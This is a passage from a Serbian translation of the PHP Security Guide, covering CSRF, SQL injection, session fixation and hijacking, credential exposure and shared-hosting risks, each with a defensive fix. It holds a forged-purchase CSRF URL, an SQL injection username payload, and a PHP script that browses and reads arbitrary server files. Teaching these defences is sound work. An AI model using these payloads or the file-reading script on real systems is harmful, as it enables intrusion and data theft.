Content-Type: text/html
Content-Length: 57

<html>
<img src="http://example.org/image.png" />
</html>]]>
</programlisting>
<para>Sadržaj odgovora je šta vidite kada pogledate izvor (source) u
čitaču. <literal>img</literal> tag u ovom zahtevu obaveštava čitač
na činjenicu da je potreban još jedano resurs (slika) neophodan za pravilno
prikazivanje strane. Čitač zahteva ovaj resurs kao što bi i bilo koje drugo, i
sledeće je primer takvog zahteva:</para>
<programlisting>
<![CDATA[GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*]]>
</programlisting>
<para>Ovo je vredno pažnje. Čitač zahteva URL naveden u 
<literal>src</literal> atributu <literal>img</literal> taga kao
da je korisnik ručno došao tamo. Čitač nema način da
specifično naglasi da očekuje sliku.</para>
<para>Kombinujte ovo sa onim što ste naučili o formularima, i onda razmotrite
URL sličan sledećem:</para><programlisting>
<![CDATA[http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000]]>
</programlisting>
<para>Podnošenje formulara koji koristi <literal>GET</literal> metod 
može bilti potencijalno neraspoznatljivo od zahteva za sliku - oba mogu biti
zahtevi za isti URL. Ako je direktiva <literal>register_globals</literal> uključena,
metoda formulara nije ni bitna (osim ako programer koristi
<literal>$_POST</literal> i slično). Nadam se da opasnost već 
postaje jasna.</para>
<para>Još jedna karakteristika čini CSRF tako moćnim je što bilo koji cookie-ji
koji pripadaju URL-u su pridruženi tom URL-u. Korisnik koji je 
ostvario vezu sa <literal>stocks.example.org</literal> (poput
da je prijavljen) može potencijalno kupiti <literal>1000</literal> akcija
<literal>SCOX</literal> posetom stranici sa <literal>img</literal> tagom
koja navodi URL iz pomenutog primera.</para>
<para>Razmotrite sledeći formular koji je lociran (hipotetički) na
<literal>http://stocks.example.org/form.html</literal>:</para>
<programlisting>
<![CDATA[<p>Kupite akcije odmah!</p>
<form action="/buy.php">
<p>Simbol: <input type="text" name="symbol" /></p>
<p>Količina:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>]]>
</programlisting>
<para>Ako korisnik unese <literal>SCOX</literal> za simbol,
<literal>1000</literal> kao količinu, i podnese formular, zahtev
koji je poslat čitaču je sličan sledećem:</para>
<programlisting>
<![CDATA[GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234]]>
</programlisting>
<para>Uključio sam <literal>Cookie</literal> zaglavlje u ovom primeru
da bih ilustrovao aplikaciju koja koristi cookie kao identifikator sesije. Ako
<literal>img</literal> tag poziva isti URL, isti cookie će biti
poslat u pozivu za taj URL, i server tokom procesuiranja zahteva neće
biti sposoban da razluči ovaj formular od prave narudžbe.</para>
<para>Postoji nekoliko stvari koje možete uraditi da bi zaštitili svoju aplikaciju od
CSRF:</para>
<itemizedlist>
    <listitem>
        <para>Koristite <literal>POST</literal> rađe nego<literal>GET</literal>
        u formularima. Navedite <literal>POST</literal> u method atributu 
        vaših formulara. Naravno, ovo nije prikladno za sve vaše formulare,
        ali je prikladno kada formular izvršava akciju, poput
        kupovine akcija. U suštini, HTTP specifikacija zahteva da se
        <literal>GET</literal> smatra bezbednom.</para>
    </listitem>
    <listitem>
        <para>Koristite <literal>$_POST</literal> rađe nego da se oslonite na
        <literal>register_globals</literal>. Korišćenje <literal>POST</literal>
        metoda sa podnošenje formulara je beskorisno ako se oslonite na
        <literal>register_globals</literal> i pozivate se na promenljive iz formulara poput
        <literal>$symbol</literal> i <literal>$quantity</literal>. Takođe
        je beskorisno ako koristite <literal>$_REQUEST.</literal></para>
    </listitem>
    <listitem>
        <para>Nemojte se skoncentrisati na ugodnost.</para>
        <para>Dok se čini poželjnim da se korisnikovo iskustvo učini
        što ugodnije, mnogo ugodnosti može imati ozbiljne
        posledice. Dok pristupi "jednig klika" mogu biti napravljeni jako bezbednim, 
        jednostavna primena je više podložna CSRF.</para>
    </listitem>
    <listitem>
        <para>Prisilite na korišćenje vaših formulara.</para>
        <para>Najveći problem sa CSRF je postojanje zahteva koji izgledaju kao
        podnesci formulara, ali to nisu. Ako korisnik nije zahtevao stranicu
        formularom, treba li pretpostaviti da je zahtev koji izgleda kao podnesak
        tog formulara legitiman i nameravan?</para>
    </listitem>
</itemizedlist>
<para>Sada možemo napisati još sigurniji sistem za ostavljanje poruka:</para>
<programlisting>
<![CDATA[<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>]]>
</programlisting>
<para>Ovaj sistem za poruke još uvek ima nekoliko sigurnosnih propusta. Možete
li ih uočiti?</para>
<para>Vreme je jako predvidivo. Korišćenje MD5 pregleda timestamp zapisa vremena je 
jadan izgovor za nasumični broj. Bolje funkcije su
<literal>uniqid()</literal> i <literal>rand()</literal>.</para>
<para>Još važnije, jako je jednostavno za napadača da obezbedi ispravan znak.
Jednostavnom posetom ovoj stranici, ispravan znak je generisan i uključen u
izvor. Sa ispravnim znakom, napadaču je jednostavo kao i pre nego što je dodata  
potreba za znakom.</para>
<para>Evo ga unapređen sistem ostavljanja poruka:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (isset($_POST['message']))
{
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

readfile('./messages.txt');

?>]]>
</programlisting>
</sect1>
</chapter>

<chapter id="DATABASES-AND-SQL">
<title>Baze podataka i SQL</title>

<sect1 id="EXPOSED-ACCESS-CREDENTIALS">
<title>Otkrivene podaci pristupa</title>
<para>Većina PHP aplikacija komuniciraju sa bazom podataka. Ovo obično uključuje
povezivanje na server baze podataka i korišćenje podataka pristupa
za potvrdu autentičnosti:</para>
<programlisting>
<![CDATA[<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>]]>
</programlisting>
<para>Ovo bi mogao biti primer fajla po imenu <literal>db.inc</literal> koji je
priključen kada god je povezivanje sa bazom potrebno. Ovaj pristup je
zgodan, i drži podatke pristupa u jednom fajlu.</para>
<para>Potencijalni problemi nastaju kada je ovaj fajl lociran unutar korena (root-a)
dokumenta. Ovo je uobičajeni pristup, zato što čini <literal>include</literal>
i <literal>require</literal> naredbe mnogo jednostavnijim, ali može dovesti do
situacija koje mogu prikazati vaše podatke pristupa.</para>
<para>Zapamtite da sve unutar korena dokumenta ima URL povezan sa sobom.
Na primer, ako je koren dokumenta
<literal>/usr/local/apache/htdocs</literal>, onda fajl lociran u
<literal>/usr/local/apache/htdocs/inc/db.inc</literal> ima URL poput
<literal>http://example.org/inc/db.inc</literal>.</para>
<para>Kombinujte ovo sa činjenicom da će većina web servera prikazati
<literal>.inc</literal> fajlove kao plaintext fajlove, i rizik od prikazivanja vaših
podataka pristupa treba da je jasan. Veći problem je bilo koji izvorni kod
u ovim modulima može biti izložen, ali podaci pristupa su posebno
osetljivi.</para>
<para>Naravno, jedno prosto rešenje je da izmestite sve module izvan
korena dokumenta, i ovo je dobra praksa. I <literal>include</literal>
i <literal>require</literal> mogu da prihvate fajl sistemsku putanju, pa ne postoji
potreba da se ovi moduli učine dostupnim preko URL-a. To je nepotrebni rizik.</para>
<para>Ako nemate drugog izbora za smeštanje vaših modula, i oni moraju biti
unutar korena dokumenta, možete staviti nešto poput ovoga u vaš
<literal>httpd.conf</literal> fajl (pretpostavljajući da je u pitanju Apache web server):</para>
<programlisting>
<![CDATA[<Files ~ "\.inc$">
    Order allow,deny
    Deny from all
</Files>]]>
</programlisting>
<para>Nije dobra ideja da procesuirate svoje module PHP endžinom.
Ovo uključuje preimenovanje vaših modula sa <literal>.php</literal> ekstenzijom
kao i korišćenje <literal>AddType</literal> da sadrži <literal>.inc</literal>
fajlove tretirane kao PHP fajlove. Izvršavanje koda van konteksta može biti veoma 
opasno, jer je nepredviđeno i može voditi ka nepoznatim rezultatima. Međutim,
ako se vaši moduli sastoje od dodeljivanja varijabli (kao u primeru), ovaj
rizik je umanjen.</para>
<para>Moj omiljeni metod za zaštitu podataka pristupa bazi podataka je
opisan u knjizi PHP kuvar (PHP Cookbook O'Reilly) od strane David-a Sklar-a i Adam-a Trachtenberg-a.
Kreirajte fajl, <literal>/path/to/secret-stuff</literal>, koji samo
<literal>root</literal> korisnik može da čita (ne <literal>nobody</literal>):</para>
<programlisting>
<![CDATA[SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"]]>
</programlisting>
<para>Priključite ovaj fajl u <literal>httpd.conf</literal> kao
što sledi:</para>
<programlisting>
<![CDATA[Include "/path/to/secret-stuff"]]>
</programlisting>
<para>Sada možete da koristite <literal>$_SERVER['DB_USER']</literal> i
<literal>$_SERVER['DB_PASS']</literal> u vašem kodu. Ne samo da nikad 
nećete morati da pišete svoje korisničko ime i šifru u bilo kom vašem skriptu, web
server ne može da čita <literal>secret-stuff</literal> fajl, tako da ni jedan drugi korisnik
ne može da napiše skript koji čita vaše podatke pristupa (bez obzira na jezik).
Samo budite pažljivi da ne prikazujete ove promenljive sa nečim kao
<literal>phpinfo()</literal> ili <literal>print_r($_SERVER)</literal>.</para>
</sect1>

<sect1 id="SQL-INJECTION">
<title>SQL ubacivanje (SQL Injection)</title>
<para>Od napada SQL ubacivanjem jako se jednostavno odbraniti, alo mnoge
aplikacije su još uvek ranjive. Razmotrite sledeću SQL
naredbu:</para>
<programlisting>
<![CDATA[<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES ('{$_POST['reg_username']}',
                '$reg_password',
                '{$_POST['reg_email']}')";

?>]]>
</programlisting>
<para>Ovaj upit je konstruisan sa <literal>$_POST</literal>, što bi odmah
trebalo da izgleda sumnjivo.</para>
<para>Pretpostavite da ovaj upit pravi novi nalog. Korisnik obezbeđuje
željeno korisničko ime i email adresu. Registraciona aplikacija generiše
privremenu šifru i šalje je korisniku da potvrdi email adresu.
Zamislite da korisnik unese sledeće kao korisničko ime:</para>
<programlisting>
<![CDATA[bad_guy', 'mypass', ''), ('good_guy]]>
</programlisting>
<para>Ovo svakako ne izgleda kao validno korisničko ime, ali kada nema 
filtriranja podataka, aplikacija to ne može shvatiti. Ako je data ispravna email adresa 
(<literal>shiflett@php.net</literal>, na primer), i
<literal>1234</literal> je šta aplikacija generiše kao šifru,
SQL naredba postaje kako sledi:</para>
<programlisting>
<![CDATA[
<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES ('bad_guy', 'mypass', ''), ('good_guy',
                '1234',
                'shiflett@php.net')"; ?>
]]>
</programlisting>
<para>Umesto željene akcije kreiranja jednog naloga 
(<literal>good_guy</literal>) sa ispravnom email adresom, aplikacija
je prevarena da napravi dva naloga, i korisniku su poslati svi detalji
<literal>bad_guy</literal> naloga.</para>
<para>Dok ovaj primer ne mora da izgleda opasan, treba biti
jasno da se mnogo gore stvari mogu dogoditi jednom kada napadač može izmeniti
vašu SQL naredbu.</para>
<para>Na primer, u zavisnosti od baze podataka koju koristite, može biti
moguće da pošalje višestruke upite serveru baze podataka u jednom pozivu.
Tako, korisnik može potencijalno da završi postojeći upit sa tačkom i zarezom
i da nastavi sa upitom od izbora korisnika.</para>
<para>MySQL, do nedavno, nije dozvoljvao višestruke upite, tako da je 
ovaj određeni rizik umanjen. Novije verzije MySQL-a dozvoljavaju višestruke upite,
ali sa odgovarajuća PHP ekstenzija (<literal>ext/mysqli</literal>) zahteva
da koristite posebnu funkciju ako želite da pošaljete višestruke upite
(<literal>mysqli_multi_query()</literal> umesto
<literal>mysqli_query()</literal>). Dozvoljavajući samo jedan upit je bezbednije,
zato što ograničava šta napadač potencijalno može da uradi.</para>
<para>Zaštita od SQL ubacivanja je laka:</para>
<itemizedlist>
    <listitem>
        <para>Filtrirajte vaše podatke.</para>
        <para>Ovo ne može biti prenaglašeno. Sa dobrim fitriranjem podataka,
        većina bezbednosnih briga je umanjeno, i neke su praktično
        eliminisane.</para>
    </listitem>
    <listitem>
        <para>Navodite svoje podatke.</para>
        <para>Ako vaša baza podataka dozvoljava (MySQL dozvoljava), stavite jednostruke navodnike
        oko svih podataka u vašim SQL naredbama, bez obzira na tip
        podataka.</para>
    </listitem>
    <listitem>
        <para>Escape-ujte vaše podatke.</para>
        <para>Nekad ispravni podaci mogu slučajno omesti
        format SQL naredbe po sebi. Koristite
        <literal>mysql_escape_string()</literal> ili funkciju za escaping
        vaše specifične baze podataka. Ako nema posebne,
        <literal>addslashes()</literal> je dobar poslednji izbor.</para>
    </listitem>
</itemizedlist>
</sect1>
</chapter>

<chapter id="SESSIONS">
<title>Sesije</title>

<sect1 id="SESSION-FIXATION">
<title>Fiksacija sesija (Session Fixation)</title>
<para>Bezbednost sesija je sofisticirana tema, i ne predstavlja iznenađenje da
sesije predstavljaju čestu metu napada. Većina napada preko sesija u sebe uključuju
oponašanje, gde napadač pokušava da ostvari pristup sesiji
drugog korisnika oponašajući tog korisnika.</para>
<para>Najznačajnija informacija za napadača je identifikator
sesije, zato što je neophodan za bilo kakav napad oponašanjem. Postoje
tri uobičajena načina za pribavljanje ispravnog identifikatora sesije:</para>
<itemizedlist>
    <listitem><para>Predviđanje</para></listitem>
    <listitem><para>Zaplena</para></listitem>
    <listitem><para>Fiksacija</para></listitem>
</itemizedlist>
<para>Predviđanje se oslanja na pogađanje ispravnog indetifikatora sesije. PHP-ov
prirodni mehanizam sesija, identifikator sesije je ekstremno nasumičan, i ovo
je najmanje verovatno najslabija tačka vaše primene.</para>
<para>Zaplena ispravnog identifikatora sesije je najčešći tip napada
preko sesija, i postoje brojni pristupi. S obzirom da se identifikatori sesija
tipično prenose preko cookie-ja ili kao <literal>GET</literal> promenljive, 
različiti pristupi se orijentišu na napadanje tih metoda prenosa. Iako su
postojalo nekoliko ranjivosti u čitačima, i to većinom u
u Internet Explorer-u, cookie-ji su neznatno manje eksponirani nego GET
promenljive. Stoga, za korisnike koji uključe cookie-je, možete obezbediti
sigurniji način za prenošenje identifikatora sesije
cookie-jem.</para>
<para>Fiksacija je najjednostavniji način pribavljanja ispravnog identifikatora sesije.
Iako se nije teško odbraniti, ako vaš sistem sesija 
sadrži samo <literal>session_start()</literal>, vi ste
ranjivi.</para>
<para>Da bi demonstrirali fiksaciju sesija, koristiću sledeći
skript, <literal>session.php</literal>:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}

echo $_SESSION['visits'];

?>]]>
</programlisting>
<para>Po prvoj poseti ove stranice, videli bi ste <literal>1</literal> ispis
na ekranu. Prilikom svake sledeće posete, ovo bi trebalo da se uvećava da bi prikazalo
koliko puta ste posetili stranicu.</para>
<para>Da bi prikazali fiksaciju sesije, prvo se pobrinite da nemate
izlazeći identifikator sesije (recimo obrišite cookie-je), onda posetite ovu
stranu sa <literal>?PHPSESSID=1234</literal> pridruženom URL-u. Sledeće, sa
potpuno drugim čitačem (ili čak sa drugog kompjutera), posetite
isti URL ponovo sa pridruženim <literal>?PHPSESSID=1234</literal>. Videćete da
ne vidite ispis <literal>1</literal> po vašoj prvoj poseti,
nego da brojanje nastavlja sesiju koju ste prethodno pokrenuli.</para>
<para>Zašto ovo može biti problematično? Većina napada fiksacijom sesija jednostavno koriste
link ili preusmeravanje na nivou protokola da pošalju korisnika na udaljeni sajt sa
identifikatorom sesija pridruženim URL-u. Korisnik verovatno neće primetiti, s obzirom
da će se sajt ponašati identično. Izbor identifikatora sesije od strane
napadača, već je poznato, i može biti iskorišćeno za napad 
oponašanjem poput otmicom sesije (session hijacking).</para>
<para>Dosta lako je odbraniti se od jednostavnog napada poput ovog. Ako
nema aktivne sesije asocirane sa identifikatorom sesije koju korisnik
predstavlja, obnovite je da bi bili sigurni:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>]]>
</programlisting>
<para>Problem sa ovakvom jednostavnom odbranom je taj što napadač može
pokrenuti sesiju sa specifičnim identifikatorom sesije, i onda da
iskoristi taj identifikator za napad.</para>
<para>Da bi se zaštiti od ove vrste napada, prvo razumite da je otmica
sesije jedino korisna nakon što se korisnik prijavio ili na drugi način
obezbedio veći nivo privilegija. Zato, ako izmenimo pristup
da obnovimo identifikator sesije kada god se izmeni nivo
privilegija (na primer, nakon potvrđivanja korisničkog imena i šifre), imaćemo
praktično eliminisan rizik od uspešnog napada fiksacijom
sesija.</para>
</sect1>

<sect1 id="SESSION-HIJACKING">
<title>Otmica sesije (Session Hijacking)</title>
<para>Ubedljivo najčešći napad preko sesija, otmici sesija pripadaju svi
napadi koji pokušavaju da preuzmu pristup sesiji drugog korisnika.</para>
<para>Kao i kod fiksacije sesija, ako se vaš sistem sesija sastoji samo od
<literal>session_start()</literal>, vi ste ranjivi, iako zloupotreba
nije tako jednostavna.</para>
<para>Umesto da se fokusiram na to kako da sačuvate identifikator sesije od
hvatanja, fokusiraću se na to kako da takvo hvatanje učinite manje opasnim.
Cilj je da iskomplikujete imitiranje, s obzirom da svaka komplikacija povećava
bezbednost. Da bi ovo ostvarili, ispitaćemo korake neophodne za uspešnu 
otmicu sesije. U svakom scenariju, pretpostavićemo da je identifikator sesije
kompromitovan.</para>
<para>U najjednostavnijem, sistemu sesija ispravni identifikator sesije
je sve što je potrebno za uspešnu otmicu sesije. Da bi ovo unapredili,
treba da vidimo da li postoji još nešto u HTTP zahtevu što možemo
koristiti za dodatnu identifikaciju.</para>
<note><para>Nije mudro osloniti se na bilo šta na nivou TCP/IP, poput IP
adresu, zato što su ov protokoli nižeg nivoa koji nisu namenjeni
da preduzimaju aktivnosti koje se odigravaju na nivou HTTP. Pojedinačni korisnik može imati 
više različitih IP adresa za svaki zahtev, a više korisnika
mogu imati potencijalno istu IP adresu.</para></note>
<para>Podsetimo se tipičnog HTTP zahteva:</para>
<programlisting>
<![CDATA[GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234]]>
</programlisting>
<para>Samo je <literal>Host</literal> neophodan deo zaglavlja po
<literal>HTTP/1.1</literal>, tako da se ne čini pametnim oslanjati se na bilo šta drugo.
Međutim, doslednost je sve što nam treba, zato što smo samo zainteresovani za otežavanje
imitiranja bez da se ometaju legitimni 
korisnici.</para>
<para>Zamislite prethodni zahtev koji je praćen zahtevom sa drugačijim 
<literal>User-Agent</literal>-om:</para>
<programlisting>
<![CDATA[GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234]]>
</programlisting>
<para>Iako je cookie prisutan, treba li predpostaviti da je ovo 
isti korisnik? Čini se veoma malo verovatnim da bi čitač promenio 
<literal>User-Agent</literal> zaglavlje između zahteva, zar ne? Hajde da izmenimo
sistem sesije da izvrši dodatnu proveru:</para>
<programlisting>
<![CDATA[<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}

?>]]>
</programlisting>
<para>Sada napadač mora prezentovati pored ispravnog identifikatora sesije, 
i ispravno <literal>User-Agent</literal> zaglavlje koje nije povezano sa
sesijom. Ovo dodatno komplikuje stvari, i stoga je dodatno
sigurnije.</para>
<para>Možemo li ovo poboljšati? Razmotrite najčešći metod korišćen za pribavljanje
vrednosti cookie-a  iskorišćavanjem ranjivosti čitača kakav je Internet Explorer.
Ovi propusti uključuju da žrtva poseti napadačev sajt, tako
da napadač može da nabavi ispravno <literal>User-Agent</literal>
zaglavnje. Nešto dodatno je potrebno da bi se zaštitili od ovakvih 
situacija.</para>
<para>Zamislte da je potrebno da korisnik prosledi MD5 
<literal>User-Agent</literal> zaglavlja u svakom zahtevu. Napadač ne bi mogao da
ponovi zaglavlja koje sadrži žrtvin zahtev, nego bi
takođe bilo neophodno da prosledo i ovu dodatnu informaciju. Dok pretpostavimo da
pravljenje ovog posebnog znaka nije previše teško, možemo dodatno
zakomplikovati ovaj posao pogađanja jednostavnim dodavanjem delića nasumičnosti načinu
kako pravimo znak:</para>
<programlisting>
<![CDATA[<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>]]>
</programlisting>
<para>Imajući u vidu da prosleđujemo identifikator sesije preko cookie-ja,
i da već ovo zahteva da napad uključi i kompromitovanje ovaj cookie
(i verovatno sva HTTP zaglavlja), trebalo bi da prosleđujemo ovaj otisak prsta kao
URL varijablu. Ovo mora da postoji u svim URL-ovima kao da je identifikator sesije,
zato što oba trebaju biti zahtevani da bi se sesija automatski
nastavljena (u nastavku prolaska svih provera).</para>
<para>Da bi se pobrinuli da se legitimni korisnici ne tretiraju kao
kriminalci, jednostavno zatražite za šifru ako provera propadne. Ako postoji greška
u vašem sistemu koj pogrešno posumnja da korisnik pokušava napad oponašanjem,
traženje šifre pre nastavka je najmanje uvredljiv način 
rukovođenja situacijom. U suštini, vaši korisnici će ceniti dodatni
nivo sigurnosti koju će taj zahtev označava.</para>
<para>Postoji mnogo načina koje možete primeniti da zakomplikujete imitiranje
i zaštitite svoju aplikaciju od otmice sesija. Nadam se da ćete
makar nešto dodatno uraditi pored <literal>session_start()</literal> kao i
da ćete doći i do nekih svojih ideja. Samo zapamtite da učinite
stvari teškim za loše momke i lake sa dobre momke.</para>
<note><para>Neki stručnjaci tvrde da <literal>User-Agent</literal> zaglavlje
nije dovoljno dosledno da bi se koristilo na opisani način. Argument je da
HTTP proksi u grupi može izmeniti <literal>User-Agent</literal> zaglavlje
nedosledno sa ostalim proksijima u istoj grupi. Iako nikad nisam
opazio ovo ponašanje (i osećam se komforno oslanjajući se na doslednost
<literal>User-Agent</literal>), i to je nešto što trebate da
razmotrite.</para>
<para>Za <literal>Accept</literal> zaglavlje je poznato da se menja
od zahteva do zahteva u Internet Explorer-u (u zavisnosti od toga da li korisnik
osvežava stranicu u čitaču), tako da se na njegovu doslednost ne bi trebalo 
oslanjati.</para></note>
</sect1>
</chapter>

<chapter id="SHARED-HOSTS">
<title>Deljeni hosting (Shared Hosts)</title>

<sect1 id="EXPOSED-SESSION-DATA">
<title>Izloženi podaci sesija (Exposed Session Data)</title>
<para>Na deljenom hostingu, bezbednost jednostavno nije toliko jaka koliko je
na privatnom hostingu. Ovo je jedan od kompromisa za jeftinije
troškove.</para>
<para>Jedan posebno ranjiv aspekat deljenog hostinga je postojanje deljenog
smeštanja sesija. Po podrazumevanim podešavanjima, PHP smešta poodatke o sesiji u <literal>/tmp</literal>,
i ovo je tačno za sve. Otkrićete da se većina ljudi drži 
podrazumevanih podešavanja za mnoge stvari, ni sesije nisu izuzetak. Srećom, ne mogu 
svi čitati fajlove sesija, zato što su oni čitljivi samo od strane web
servera:</para>
<programlisting>
<![CDATA[$ ls /tmp
total 12
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw-------  1  nobody  nobody  123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$]]>
</programlisting>
<para>Na žalost, dosta je jednostavno napisati PHP skript da čita ove
fajlove, i zato što se korisnik vodi kao <literal>nobody</literal> (ili kakav god
korisnik koji web server koristi), ima sve neophodne privilegije.</para>
<para>Direktiva <literal>safe_mode</literal> može sprečiti ovo i slične 
bezbednosne brige, ali s obzirom da se ovo odnosi samo na PHP, ne rešava 
koren problema. Napadač može iskoristiti druge jezike.</para>
<para>Šta je bolje rešenje? Nemojte koristiti isto mesto čuvanja kao svi
ostali. Poželjno, je čuvati ih u bazi podataka gde su parametri pristupa 
jedinstveni za vaš nalog. Da bi uradili ovo, jednostavno koristite funkciju
<literal>session_set_save_handler()</literal> da prešli preko PHP-og
podrazumevanog rukovanja sesijama sa vašom PHP funkcijom.</para>
<para>Sledeći kod prikazuje jednostavan primer smeštanja sesija u
bazi podataka:</para>
<programlisting>
<![CDATA[<?php

session_set_save_handler('_open',
                         '_close',
                         '_read',
                         '_write',
                         '_destroy',
                         '_clean');

function _open()
{
  global $_sess_db;

  $db_user = $_SERVER['DB_USER'];
  $db_pass = $_SERVER['DB_PASS'];
  $db_host = 'localhost';
    
  if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass))
  {
    return mysql_select_db('sessions', $_sess_db);
  }
    
  return FALSE;
}

function _close()
{
  global $_sess_db;
    
  return mysql_close($_sess_db);
}

function _read($id)
{
  global $_sess_db;

  $id = mysql_real_escape_string($id);

  $sql = "SELECT data
          FROM   sessions
          WHERE  id = '$id'";

  if ($result = mysql_query($sql, $_sess_db))
  {
    if (mysql_num_rows($result))
    {
      $record = mysql_fetch_assoc($result);

      return $record['data'];
    }
  }

  return '';
}

function _write($id, $data)
{   
  global $_sess_db;

  $access = time();

  $id = mysql_real_escape_string($id);
  $access = mysql_real_escape_string($access);
  $data = mysql_real_escape_string($data);

  $sql = "REPLACE 
          INTO    sessions
          VALUES  ('$id', '$access', '$data')";

  return mysql_query($sql, $_sess_db);
}

function _destroy($id)
{
  global $_sess_db;
    
  $id = mysql_real_escape_string($id);

  $sql = "DELETE
          FROM   sessions
          WHERE id = '$id'";

  return mysql_query($sql, $_sess_db);
}

function _clean($max)
{
  global $_sess_db;
    
  $old = time() - $max;
  $old = mysql_real_escape_string($old);

  $sql = "DELETE
          FROM   sessions
          WHERE  access < '$old'";

  return mysql_query($sql, $_sess_db);
}

?>]]>
</programlisting>
<para>Ovo zahteva postojanje tabele po imenu <literal>sessions</literal>, čiji je 
format kao što sledi:</para>
<programlisting>
<![CDATA[mysql> DESCRIBE sessions;
+--------+------------------+------+-----+---------+-------+
| Field  | Type             | Null | Key | Default | Extra |
+--------+------------------+------+-----+---------+-------+
| id     | varchar(32)      |      | PRI |         |       |
| access | int(10) unsigned | YES  |     | NULL    |       |
| data   | text             | YES  |     | NULL    |       |
+--------+------------------+------+-----+---------+-------+]]>
</programlisting>
<para>Ova baza podataka može biti kreirana u MySQL-u preko sledeće sintakse:</para>
<programlisting>
<![CDATA[CREATE TABLE sessions
(
    id varchar(32) NOT NULL,
    access int(10) unsigned,
    data text,
    PRIMARY KEY (id)
);]]>
</programlisting>
<para>Smeštanje sesija u bazu podataka premešta poverenje u sigurnost bezbednosti
vaše baze podataka. Podsetite se lekcija gde smo pričali o bezbednosti baza podataka i 
SQL-a, zato što se mogu primeniti ovde.</para>
</sect1>

<sect1 id="BROWSING-THE-FILESYSTEM">
<title>Krstarenje fajl sistemom</title>
<para>Iz čiste zabave, pogledajte skript koji krstari fajl sistemom:</para>
<programlisting>
<![CDATA[<?php

echo "<pre>\n";

if (ini_get('safe_mode'))
{
    echo "[safe_mode enabled]\n\n";
}
else
{
    echo "[safe_mode disabled]\n\n";
}

if (isset($_GET['dir']))
{
    ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
    cat($_GET['file']);
}
else
{
    ls('/');
}

echo "</pre>\n";

function ls($dir)
{
    $handle = dir($dir);

    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");

        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SE LF']}?dir=$dir$filename/\">$filename/</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= "$filename/";
            }
        }
        else
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SELF']}?file=$dir$filename\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= $filename;
            }
        }

        echo "$line\n";
    }

    $handle->close();
}

function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}

?>]]>
</programlisting>
<para>Direktiva <literal>safe_mode</literal> može sprečiti ovaj navedeni 
skript, ali šta ako on je pisan u drugom jeziku?</para>
<para>Dobro rešenje je da smestite sve osetljive podatke u bazu podataka i koristite
tehnike pomenute ranije (gde <literal>$_SERVER['DB_USER']</literal> i
<literal>$_SERVER['DB_PASS']</literal> sadrže parametre pristupe) da bi
zaštili svoje parametre pristupa bazi podataka.</para>
<para>Najbolje rešenje je da koristite privatni hosting.</para>
</sect1>
</chapter>

<chapter id="ABOUT">
<title>O (About)</title>

<sect1 id="ABOUT-THIS-GUIDE">
<title>O ovom vodiču</title>
<para>Vodič za PHP bezbednost (PHP Security Guide) je projekat Konzorcijuma za PHP bezbednost (PHP Security Consortium). Uvek 
